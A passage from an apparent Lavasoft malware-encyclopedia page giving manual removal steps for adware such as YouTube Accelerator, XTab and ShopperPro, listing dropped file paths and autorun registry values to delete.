    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
    %Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (9304 bytes)
    %Program Files% (x86)\XTab\web\img\googlelogo.png (7 bytes)
    %Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
    %Program Files% (x86)\XTab\skin\btn.png (2 bytes)
    %Program Files% (x86)\XTab\install.data (68 bytes)
    %Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
    %Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\indexIE8.html (1816 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsqB05B.tmp\System.dll (23 bytes)
    %Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\img\arrow.png (259 bytes)
    %Program Files% (x86)\XTab\web\ver.txt (5 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
    %Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
    %Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\img\weather\0.png (1 bytes)
    %Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
    %Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
    %Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
    %Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\js\xagainit-ie8.js (3 bytes)
    %Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
    %Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\main.xml (4 bytes)
    %Program Files% (x86)\XTab\web\img\default_add_logo_hover.png (1 bytes)
    %Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
    %Program Files% (x86)\XTab\msvcr110.dll (22156 bytes)
    %Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
    %Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
    %Program Files% (x86)\XTab\ProtectService.exe (5471 bytes)
    %Program Files% (x86)\XTab\web\js\js.js (18 bytes)
    %Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
    %Program Files% (x86)\XTab\web\img\default_add_logo.png (1 bytes)
    %Program Files% (x86)\XTab\skin\logo.png (5 bytes)
    %Program Files% (x86)\XTab\web\js\xagainit2.0.js (3 bytes)
    %Program Files% (x86)\XTab\web\js\xagainit.js (3 bytes)
    %Program Files% (x86)\XTab\web\img\googlelogo2.png (1526 bytes)
    %Program Files% (x86)\XTab\web\main.css (19 bytes)
    %Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
    %Program Files% (x86)\XTab\skin\close.png (3 bytes)
    %Program Files% (x86)\XTab\web\data.html (20 bytes)
    %Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
    %Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
    %Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
    %Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
    %Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
    %Program Files% (x86)\XTab\skin\about.png (4 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\settings.png (5 bytes)
    %Program Files% (x86)\XTab\web\img\default_logo.png (5 bytes)
    %Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
    %Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
    %Program Files% (x86)\XTab\web\js\common.js (2 bytes)
    %Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
    %Program Files% (x86)\XTab\SupTab.dll (6812 bytes)
    %Program Files% (x86)\XTab\web\js\ie8.js (156 bytes)
    %Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
    %Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
    %Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
    %Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
    %Program Files% (x86)\XTab\msvcp110.dll (17526 bytes)
    %Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuA47A.tmp (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuA47A.tmp\NK.lky (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuA47A.tmp\D1989.dll (30 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuA47A.tmp\E80511A32FD250F8 (34773 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuA47A.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuA47A.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsuA479.tmp (35538 bytes)
    

    5. 

  5. Delete the following value(s) in the autorun key (How to Work with System Registry):
    

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1502.0.0.0\jsdrv.exe"

    [HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
    "SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1502.0.0.0\jsdrv.exe"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"
    

    6. 

  6. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
    7. 

  7. Reboot the computer.
    8. 



*Manual removal may cause unexpected system behaviour and should be performed at your own risk.












 
 




 
No votes yet












				


							


			

				
					  
							

		

		


					
							

	

	
	        


	

        
      
 

      
      

      
    
 

    
  
 

		


		

		
			

			

				

					Lavasoft is the maker of Ad-Aware,
					the world's most popular anti-malware 
					software with over 450 million 
					downloads.
				

				

					© 2026 Lavasoft. All rights reserved.

					Terms Of Use |   Privacy Policy
					


								

			


		

		


	

	
	

	

		x
		
Our best antivirus yet!

		
Fresh new look. Faster scanning. Better protection.

		

			
Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

			
For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

			
			Download adaware antivirus 12
		

		No thanks, continue to lavasoft.com
	

	

		

			close x
			
Discover the new adaware antivirus 12

			
Our best antivirus yet

			Download Now